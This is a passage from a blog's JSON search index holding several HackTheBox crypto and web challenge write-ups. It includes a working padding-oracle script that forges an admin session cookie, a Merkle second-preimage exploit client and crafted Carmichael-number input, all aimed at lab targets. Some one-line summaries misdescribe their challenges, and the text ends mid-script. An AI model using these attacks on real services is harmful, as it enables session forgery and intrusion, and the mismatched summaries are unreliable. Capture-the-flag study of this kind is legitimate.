\u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|A6Mcdavba6LTd+t2mCiW38A5/1lYamiLLPkFIdjWsXvoIPPrE15R021C4wbaPKWTgXdtRwtDzBL6UxXdLIGe\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|A24NpCGdnRip3aKRE3HvBos6Fc7ywzStdsozn0OzvyLENqyD/IOVdLpW7RYXb1pSBxNrT/eOCjTR9tcHN4oy\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AXUFQXwvC9UmYYv+s4Fp4uZIvRJNsYTpo39EE454rqYJXSExNV/IzeDhq9HTFtyvSpe7tQ/m7iSn7GRBNfMH\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|Ab70nelzVaGrGSreMo7TE3I477UnXwdJnFhiwhKOUONkXFIJqwRPH4ntqtgHTJXIUb3l4IlXl0bDePN834aZ\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|KHShTHH+sId0qHwxjmTjn2J/jc3jVTZdc/9WQmsDHv9ecoMJrl6If7pF7kjdhyNPTTUtVSUChUWE67/xnUU=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|A+wzDdGTsLp8pFbwrG0AqBg3ZErY+Smq9HFV5DOzfcqPoctKhul5RjWlKQzxyF6PyogYc8oiGbzzyBEEvFR0\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AwnfyYhOeJOBGDewNw21q5h6rkqmklF3twyk6RfEw1kLlBxlVjkY/wa9RrH5UKQELFg3b9L6BHe9iz5Z4QtM\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|A1e13VqBQhTFFV0f53Up3gJdexBo1y8CxIuXUhfavnaOG60SDmpywm5qF6CsgdTQlOAPWOpvdzFb2dCbq+Gb\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|K1zTtrfRe/7m9zq2KLEx+TpCe6oDzKXowhWx/Qte+Pm1e8MCcCXyxZXGObSsPfV/LQwEr8/QMhBOtollXfA=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|Ahnm8a3aF3MpjcpMITSCF2/B82sIOhJlizpCv36pi3gJWxxUZOfBSeEuhQVXHRcZPB4zETnWRsXOpV0mlMCF\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AYBg6cwatQfYX/C77xd3gO+LGJaX38iNImpBJ8Uh2RVQOSQ/ZNa727ABEop14ASj2JYwHGV1YRfznGh+CzGE\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AmnmFxw/D1tDDGgeA88kCbkoplBsQkmbP0JJrIkyAC/Pjgz+ZEItIEpvhnY2CHPHJoC40dRaX09beLbZdjcn\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AqABsE2xVZ5n7pGxZmNJVHbo5NQCWKFM5+LlfBdUVHCJQswC+dl+iUE5s3Wf7WSerRHuSAAB1OlBGPUX0i4F\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|BC05EGpSllh0wVHiq8xKZ9XG6LS6wYP/nBaPVtTyl2z1UeNBivNlJ5/t+sM9H5q51B7H9J3lDw/w/lJrtWMT\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AgbGDeskwl6G9K9IsiESe/Sd5Hf/Fcy7wHLf6VEUGO1hzMtdy2UVRNWoPCZV0gM4l7kmfUfSwmKrGH8CORXS\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|+SoF4PFex5x0UnYa0EXb3oBbQ622fHyCNCA9+Lx1GYmVP9AtWUJpRXRC/TxsaMwtBwZV1iNg2xgISeU0Hro=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|ARvSDNTKA21WJuF2wJYmT/fHpwdA17ptvgZKWqPfaPkwDFFXMHibS/7r4Jd6SoQ7AwPOJe51TrVc25uoFPnb\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|A1dGzEQIwMFvsUgxkkusJij1wIfWdJkS6NhluzZkm9w/g9iA6DuXa73NdfKGW5HUYBv3p+zzjdy/9sB41ktd\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|hmbmiCbLKjFYa4YkYBVYxEY/RtJY9i7CnqsaZq5JBOorWolAVktFzEnMSkpbjlWNxAV0UbfoKEBkuW8FOmo=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|EI3rF7Eil+O+Q1ZnMLf3i2tml78mojCya4ddJVfuGDT5fOxgMfd3KokAQawpWH2XZXTjINmprN764RhmWbg=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AnTO1nIF7gCoaIIh+BZ8Rd8tH3pZQeHvgXYwpWxG2gqysFEFq4l364BVRnI7kM3zMSwFUzFbV2egqHgzWw2p\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|yx/r6WE8+zYUYEAgCzl30g7Nld0g/GJhKzUNzZ4auS9YVHSSAAbHN/+5vCCQiEh3J+JPIxmstjYveJZoLuk=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|qU3/SEDVdBlyZF4HwrBzYQDyqqwnBQG2bABUh9KPnwawixN47EhnemUJEq5QVA1+jT0ZmsFbi2T+XAyzdxA=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AvlVyNw8FpRvZwtB3Gq6BCB60zBdKzpL7EUN737p8WS7pGUBJC0O0MiLc5k0Vz80yLiQwOwbXtHVADoQ4nz7\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|Awm9WN3jiTex3fuDBElIyWPm4UoUCt1K2+N99GuQxJT+hOHgFlEHAsKcGxOIu5ZQHoPcR5ELv7kWbEf5KVLs\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|yx/r6WE8+zYUYEAgCzl30g7Nld0g/GJhKzUNzZ4auS9YVHSSAAbHN/+5vCCQiEh3J+JPIxmstjYveJZoLuk=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AZ2UTDvCOY9utPTr7/4N1DhlNgT/hB00aVANw60OJLMXW+xpbkoa6PH5DP3GKqOgUTw7QEZbJVUsu/kIpzIo\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|zcoCxUfT9ruiJVY1MipXLNhoXv1tQh5zaBE3M7QJOWzRPn5lMMEnQTRGjm0DabyyB8DGDWFiniMGI5/5pBE=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|yx/r6WE8+zYUYEAgCzl30g7Nld0g/GJhKzUNzZ4auS9YVHSSAAbHN/+5vCCQiEh3J+JPIxmstjYveJZoLuk=\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|Ar3Kf8wSBKazztCh/ZUN8O/9c6Mb3GlhS/pkdW/R1lii+9suAvhF71TrlORl5zaKJgxYwpFEoWB2UVWSjSIs\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|At2fiWhVfIhl5b64S0Gt6VN23undOdTUxKtb9/fnjf+4dU76qu5CJg13qiy8KDFvSXtoLg732h1hpJYWtjZ+\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|ARPAb/qbCo2R0emUhbEd/DjGw2P6YXZUuj+BiD1burllUucNh1Hd3YXkH9gGyvcSPca0pOBa/Qhct6aV1s3F\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AjEcwHtXwrHxi0vXXvBZ8k24PrW7k9To/nAQcNOX+UbGmXTzwbUEFFixEdJUF7HViJA91luh1da9mOSRcj1I\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AXWLri4wwhHtSLu2B6Yl43lRxOkWA8QhgxCot/4Rlrf39DTiLvgTGUN7yFKEES5Uqqs0iDWTzrvLrTomrSwQ\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AhY1sFJfeqiTfUcuMwmLlTcFdB8KnFC4rDb21Z6YR6Yn8yXNE7fHcN58UNOJF5FzUFJJvR1n7wHso4PzZcbm\u0026#34;, \u0026#34;43zIOhk1ayUoiAXipAm3tdNPwgyzIhZjRUcRc7fw5PiSUN1b3ICzHEFbNhiti2aB2jdvs4uYHUqN1YdZtyY=|AbvkqKFzC9dbZtD/mg0UGhQAa2iI9DfcuVHzGGzb8i+DqFiiLs3KwpSpGdadxyVBtc28VNA5XTnJr/LywwWG\u0026#34;, ] for i, ct in enumerate(ciphertexts, 1): decrypted = decrypt_message(ct, s, q) print(f\u0026#34;{decrypted}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary ElElGamal: use the curve leak or invalid-curve path to recover the secret and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-ElElGamal-Challenge/","protected":null,"snippet":"ElElGamal: use the curve leak or invalid-curve path to recover the secret and decrypt the flag.","tags":["htb","crypto","ecc"],"title":"HackTheBox ElElGamal Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/416\nDescription You are walking with your friends in search of sweets and discover a mansion in the distance. All your friends are too scared to approach the building, so you go on alone. As you walk down the street, you see expensive cars and math papers all over the yard. Finally, you reach the door. The doorbell says \u0026quot;Michael Fastcar\u0026quot;. You recognize the name immediately because it was on the news the day before. Apparently, Fastcar is a famous math professor who wants to get everything done as quickly as possible. He has even developed his own method to quickly check if a number is a prime. The only way to get candy from him is to pass his challenge.\nExploitation https://gist.github.com/keltecc/b5fbd533d2f203e810b43c26ff9d17cc\n99597527340020670697596886062721977401836948352586238797499761849061796816245727295797460642211895009946326533856101876592304488359235447755504083536903673408562244316363452203072868521183142694959128745107323188995740668134018742165409361423628304730379121574707411453909999845745038957688998441109092021094925758212635651445626620045726265831347783805945477368631216031783484978212374792517000073275125176790602508815912876763504846656547041590967709195413101791490627310943998497788944526663960420235802025853374061708569334400472016398343229556656720912631463470998180176325607452843441554359644313713952036867 Send the following value as p to the server, and the flag will be displayed\nSummary Fast Carmichael: use the curve leak or invalid-curve path to recover the secret and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Fast-Carmichael-Challenge/","protected":null,"snippet":"Fast Carmichael: use the curve leak or invalid-curve path to recover the secret and decrypt the flag.","tags":["htb","crypto","ecc"],"title":"HackTheBox Fast Carmichael Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/343\nDescription A day before the memorial of the Dying Sun, Miyuki began talking about Broider, a death squad commander and a friend of Paulie’s capturer. He would be a party guest at Viryr’s palace. After examining a lot of different scenarios, Miyuki came up with a plan in which Paulie would lure Broider to a secluded location so the group could capture him. Following the plan, a wild chase had just begun when the two looked each other in the eye. After an extremely risky maneuver, Paulie outwitted Broider and led him into an alley in Vinyr’s undercity. The plan was a success. Your squad had managed to capture Broider and bring him back to the ship. After hours of interrogation by Ulysses, he revealed the final key to a series of encrypted messages. Can you find a way to decrypt the others? The flag consists entirely of uppercase characters and has the form HTB{SOMETHINGHERE}. You still have to add the {} yourself.\nExploitation #!/usr/bin/env python3 def d(k): r=[] for i,c in enumerate(k): n=1+sum(1 for p in k[:i]if p\u0026lt;=c) r.append(n) for j,p in enumerate(k[:i]): if p\u0026gt;c:r[j]+=1 return r def twisted_columnar_decrypt(ct,k): w=len(k);l=len(ct)//w;b=[list(ct[i:i+l])for i in range(0,len(ct),l)];p=b.copy() for i in range(w):p[d(k).index(i+1)]=b[i][::-1] return\u0026#39;\u0026#39;.join(c for r in zip(*p)for c in r) k=\u0026#34;148823505998502\u0026#34; m=[\u0026#34;ETYDEDTYAATOSTTUFTEETHIVHMVOSFNANDHEGIIIOCESTHTCHDHNRNYALSRPDAIRDCEEIFREEEEOETLRTRNLEEUNBEOIPYLTNOVEOAOTN\u0026#34;, \u0026#34;EECNEMOTCYSSSEORIRCETFDUCEDAATAPATWTTSKTTRROCEANHHHAIHOGPTTGROIEETURAFYUIPUEEONOISECNJISAFALRIUAVSAAVPDES\u0026#34;, \u0026#34;GTNOERUTOIAOTIGRESHHBTSEHLORSRSSNTWINTEAUEENTAEEENOICCAFOSHDORLUFHRIALNGOYPNCEIGTAYAPETHCEOUATEFISTFBPSVK\u0026#34;, \u0026#34;SNUTCAGPEEPWLHITEDFNDMPNWSHFORSLEOAIPTAPEOOOAOTGOSESNADRITRAEREOSSNPECUHSNHENSAATETTPSIUIUOOHPNSKTNIRYHFT\u0026#34;, \u0026#34;WFAFDDSGIMMYTADNHRENINONSRSUMNITAHIANSUOEMAAEDAIFLOTFINEAYNEGYSNKROEOGFTCTNLYIIOODLOIRERVTAROTRROUNUTFAUP\u0026#34;] for ct in m: print(twisted_columnar_decrypt(ct,k)) THELOCATIONOFTHECONVOYDANTEISDETERMINEDTOBEONTHETHIRDPLANETAFTERVINYRYOUCANUSELIGHTSPEEDAFTERTHEDELIVERYS THECARGOISSAFEWENEEDTOMOVEFASTCAUSETHERADARSAREPICKINGUPSUSPICIOUSACTIVITYAROUNDTHETRAJECTORYOFTHEPLANETA BECAREFULSKOLIWHENYOUARRIVEATTHEPALACEOFSCIONSAYTHECODEPHRASETOGETINHTBTHISRNGISNOTSAFEFORGENETINGOUTPUTS DONTFORGETTOCHANGETHEDARKFUELOFTHESPACESHIPWEDONTWANTANYUNPLEASANTSURPRISESTOHAPPENTHISSERIOUSMISSIONPOPO IFYOUMESSUPAGAINILLSENDYOUTOTHEANDROIDGRAVEYARDTOSUFFERFROMTHECONSTANTTERMINATIONOFYOURKINDAFINALWARNINGM HTB{THISRNGISNOTSAFEFORGENETINGOUTPUTS}\nSummary How The Columns Have Turned: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-How-The-Columns-Have-Turned-Challenge/","protected":null,"snippet":"How The Columns Have Turned: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox How The Columns Have Turned Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/10\nDescription Can you get to the profile page of the admin?\nExploitation #!/usr/bin/env python3 import requests from pwn import b64d, b64e, log, re, sys, xor from urllib.parse import quote, unquote def oracle(cookie: str) -\u0026gt; bool: global url global phpsessid r = requests.get(f\u0026#39;{url}/profile.php\u0026#39;, cookies={ \u0026#39;PHPSESSID\u0026#39;: phpsessid, \u0026#39;iknowmag1k\u0026#39;: cookie }) return r.status_code != 500 def decrypt_block(ct_block: bytes, poa) -\u0026gt; bytes: dec = [0] * 8 k = [] poa.status(\u0026#39;0 / 8\u0026#39;) for i in range(8): for b in range(256): block = bytes([0] * (7 - i) + [b] + k) cookie = quote(b64e(block + ct_block)) if oracle(cookie): poa.status(f\u0026#39;{i + 1} / 8\u0026#39;) dec[7 - i] = b ^ (i + 1) k = [(i + 2) ^ dec[7 - j] for j in range(i + 1)][::-1] break return bytes(dec) def main(): global url global phpsessid if len(sys.argv) != 2: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;host:port\u0026gt;\u0026#39;) exit(1) url = f\u0026#39;http://{sys.argv[1]}\u0026#39; s = requests.session() s.post(f\u0026#39;{url}/register.php\u0026#39;, data={ \u0026#39;username\u0026#39;: \u0026#39;a\u0026#39;, \u0026#39;email\u0026#39;: \u0026#39;a@a.com\u0026#39;, \u0026#39;password\u0026#39;: \u0026#39;a1b2c3d4\u0026#39;, \u0026#39;confirm\u0026#39;: \u0026#39;a1b2c3d4\u0026#39; }) s.post(f\u0026#39;{url}/login.php\u0026#39;, data={ \u0026#39;username\u0026#39;: \u0026#39;a\u0026#39;, \u0026#39;password\u0026#39;: \u0026#39;a1b2c3d4\u0026#39;, }) phpsessid = s.cookies[\u0026#39;PHPSESSID\u0026#39;] iknowmag1k = s.cookies[\u0026#39;iknowmag1k\u0026#39;] log.info(f\u0026#39;PHPSESSID: {phpsessid}\u0026#39;) log.info(f\u0026#39;iknowmag1k: {iknowmag1k}\u0026#39;) iknowmag1k = b64d(unquote(iknowmag1k)) blocks = [iknowmag1k[i:i + 8] for i in range(0, len(iknowmag1k), 8)] plaintext = b\u0026#39;\u0026#39; dec_prog = log.progress(\u0026#39;Decrypted\u0026#39;) enc_prog = log.progress(\u0026#39;Encrypted\u0026#39;) poa = log.progress(\u0026#39;Bytes\u0026#39;) for m in range(len(blocks) - 1): current_block = blocks[-1 - m] prev_block = blocks[-2 - m] dec = decrypt_block(current_block, poa) plaintext = xor(dec, prev_block) + plaintext dec_prog.status(str(plaintext)) dec_prog.success(str(plaintext)) want = b\u0026#39;{\u0026#34;user\u0026#34;:\u0026#34;a\u0026#34;,\u0026#34;role\u0026#34;:\u0026#34;admin\u0026#34;}\\x02\\x02\u0026#39; ct = b\u0026#39;\\0\u0026#39; * 8 encrypted = b\u0026#39;\u0026#39; while want: block, want = want[-8:], want[:-8] dec = decrypt_block(ct[:8], poa) ct = xor(bytes(dec), block) + ct assert oracle(quote(b64e(ct))) encrypted = block + encrypted enc_prog.status(str(encrypted)) cookie = quote(b64e(ct)) poa.success() enc_prog.success(cookie) r = requests.get(f\u0026#39;{url}/profile.php\u0026#39;, cookies={ \u0026#39;PHPSESSID\u0026#39;: phpsessid, \u0026#39;iknowmag1k\u0026#39;: cookie }) log.success(\u0026#39;Flag: \u0026#39; + re.findall(r\u0026#39;HTB\\{.*?\\}\u0026#39;, r.text)[0]) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary I know Mag1k: derive the XOR key stream, invert the transform, and recover the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-I-know-Mag1k-Challenge/","protected":null,"snippet":"I know Mag1k: derive the XOR key stream, invert the transform, and recover the flag.","tags":["htb","crypto","xor"],"title":"HackTheBox I know Mag1k Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/518\nDescription After decrypting the communication, you uncover the identity of the mole as the senior blockchain developer. Shockingly, the developer had embedded a backdoor in the government's decentralized blockchain network, originally designed to prevent corruption. You report this critical finding to the government council and are assigned with the task of detecting and fixing the backdoor, ensuring the integrity and security of the network.\nReference https://flawed.net.nz/2018/02/21/attacking-merkle-trees-with-a-second-preimage-attack/\nExploitation #!/usr/bin/env python3 from hashlib import sha256 import socket, sys, signal def handler(signum, frame): print(\u0026#34;\\n[-] Interrupted by user\u0026#34;) sys.exit(1) def recv_until(s): data = b\u0026#34;\u0026#34; try: s.settimeout(TIMEOUT) start_time = 0 while b\u0026#34;\u0026gt; \u0026#34; not in data: try: chunk = s.recv(1024) if not chunk: if data: break raise ConnectionError(\u0026#34;Connection closed by remote host\u0026#34;) data += chunk except socket.timeout: if data: break raise TimeoutError(f\u0026#34;No response after {TIMEOUT} seconds\u0026#34;) except Exception as e: raise e return data.decode() def get_last_tx(s): print(\u0026#34;[+] Sending transaction request\u0026#34;) s.send(b\u0026#34;1\\n\u0026#34;) data = recv_until(s) print(\u0026#34;[+] Received response:\u0026#34;, data.split(\u0026#39;\\n\u0026#39;)[0] if data else \u0026#34;No data\u0026#34;) try: for line in reversed(data.split(\u0026#39;\\n\u0026#39;)): if \u0026#34;Transactions:\u0026#34; in line: tx = eval(line.split(\u0026#34;Transactions: \u0026#34;)[1].strip()) print(f\u0026#34;[+] Found transactions: {tx[:20]}...\u0026#34;) return tx except Exception as e: print(f\u0026#34;[-] Error parsing transactions: {str(e)}\u0026#34;) return None def exploit(host, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(TIMEOUT) try: print(f\u0026#34;[+] Connecting to {host}:{port}\u0026#34;) s.connect((host, port)) print(\u0026#34;[+] Receiving initial prompt\u0026#34;) initial = recv_until(s) print(f\u0026#34;[+] Initial response: {initial.split(\u0026#39;\\n\u0026#39;)[0]}\u0026#34;) tx = get_last_tx(s) if not tx: print(\u0026#34;[-] Failed to get transactions\u0026#34;) return print(\u0026#34;[+] Computing hashes\u0026#34;) h = lambda b: sha256(bytes.fromhex(b)).hexdigest() r0 = list(map(h, tx)) r1 = [h(r0[i] + r0[i+1]) for i in range(0, len(r0), 2)] r2 = [h(r1[i] + r1[i+1]) for i in range(0, len(r1), 2)] forged = r2[0] + r2[1] print(f\u0026#34;[+] Forged hash: {forged[:20]}...\u0026#34;) print(\u0026#34;[+] Sending option 2\u0026#34;) s.send(b\u0026#34;2\\n\u0026#34;) menu = recv_until(s) print(f\u0026#34;[+] Menu response: {menu.split(\u0026#39;\\n\u0026#39;)[0]}\u0026#34;) print(\u0026#34;[+] Sending forged hash\u0026#34;) s.send(forged.encode() + b\u0026#34;\\n\u0026#34;) print(\u0026#34;[+] Waiting for result\u0026#34;) result = recv_until(s).strip() print(f\u0026#34;[+] Result: {result}\u0026#34;) except TimeoutError as e: print(f\u0026#34;[-] Timeout: {str(e)}\u0026#34;) except ConnectionError as e: print(f\u0026#34;[-] Connection error: {str(e)}\u0026#34;) except Exception as e: print(f\u0026#34;[-] Error: {str(e)}\u0026#34;) finally: print(\u0026#34;[+] Closing connection\u0026#34;) s.close() def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;host:port\u0026gt;\u0026#34;) sys.exit(1) try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) exploit(host, int(port)) except ValueError: print(\u0026#34;[-] Invalid host:port format\u0026#34;) sys.exit(1) except Exception as e: print(f\u0026#34;[-] Error: {str(e)}\u0026#34;) TIMEOUT = 10 signal.signal(signal.SIGINT, handler) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary I\u0026rsquo;m gRoot: reduce the hash constraint to a small search, test candidates, and recover the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Im-gRoot-Challenge/","protected":null,"snippet":"I'm gRoot: reduce the hash constraint to a small search, test candidates, and recover the flag.","tags":["htb","crypto","hash"],"title":"HackTheBox I'm gRoot Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/658\nDescription Locked within a cabin crafted entirely from ice, you\u0026rsquo;re enveloped in a chilling silence. Your eyes land upon an old notebook, its pages adorned with thousands of cryptic mathematical symbols. Tasked with deciphering these enigmatic glyphs to secure your escape, you set to work, your fingers tracing each intricate curve and line with determination. As you delve deeper into the mysterious symbols, you notice that patterns appear in several pages and a glimmer of hope begins to emerge. Time is flying and the temperature is dropping, will you make it before you become one with the cabin?\nExploitation #!/usr/bin/env python3 from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b from Crypto.Util.Padding import unpad from enum import Enum class Mode(Enum): ECB = 0x01 CBC = 0x02 class Cipher: def __init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)] self.DELTA = 0x9e3779b9 self.IV = iv if self.IV: self.mode = Mode.CBC else: self.mode = Mode.ECB def _xor(self, a, b): return b\u0026#39;\u0026#39;.join(bytes([_a ^ _b]) for _a, _b in zip(a, b)) def decrypt_block(self, ct_block): ct = b2l(ct_block) msk = (1 \u0026lt;\u0026lt; (self.BLOCK_SIZE//2)) - 1 m0 = (ct \u0026gt;\u0026gt; (self.BLOCK_SIZE//2)) \u0026amp; msk m1 = ct \u0026amp; msk K = self.KEY s = self.DELTA * 32 for i in range(32): m1 = (m1 - (((m0 \u0026lt;\u0026lt; 4) + K[2]) ^ (m0 + s) ^ ((m0 \u0026gt;\u0026gt; 5) + K[3]))) \u0026amp; msk m0 = (m0 - (((m1 \u0026lt;\u0026lt; 4) + K[0]) ^ (m1 + s) ^ ((m1 \u0026gt;\u0026gt; 5) + K[1]))) \u0026amp; msk s = (s - self.DELTA) \u0026amp; 0xFFFFFFFF return l2b(m0) + l2b(m1) def decrypt(self, ct): blocks = [ct[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ct), self.BLOCK_SIZE//8)] pt = b\u0026#39;\u0026#39; if self.mode == Mode.ECB: for block in blocks: pt += self.decrypt_block(block) try: return unpad(pt, self.BLOCK_SIZE//8) except: return pt def main(): key = bytes.fromhex(\u0026#39;e25b3dd8f702879cccaec0280a29c66a\u0026#39;) ct = bytes.fromhex(\u0026#39;0ab76ebf55e0957ccaea74b440cb6f2ccef34969bdb22f87c73391d04dbe7fb272d7a6533a38a943449dda8cdce124be429e34e58847243904e8543ef33141d23da518b6bd1800f2\u0026#39;) cipher = Cipher(key) pt = cipher.decrypt(ct) print(pt.decode(\u0026#39;utf-8\u0026#39;, errors=\u0026#39;ignore\u0026#39;)) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Iced Tea: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2025-01-22T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Iced-Tea-Challenge/","protected":null,"snippet":"Iced Tea: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","ecc"],"title":"HackTheBox Iced Tea Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/267\nDescription On a path to avenging his father, Tex Chance manufactured steam-powered robots to capture all the animals of your island to build a powerful army of fused mutated organisms using his powerful Sigma technology. You can\u0026rsquo;t let them take away your loyal doggo Julius. The robots have been trained to classify all the objects they encounter using the SigmaNet network. Can you use your laser pointer to change some of the robot\u0026rsquo;s vision pixels forcing it to misclassify your dog\u0026rsquo;s image?\nExploitation #!/usr/bin/python3 import sys,requests,shutil from 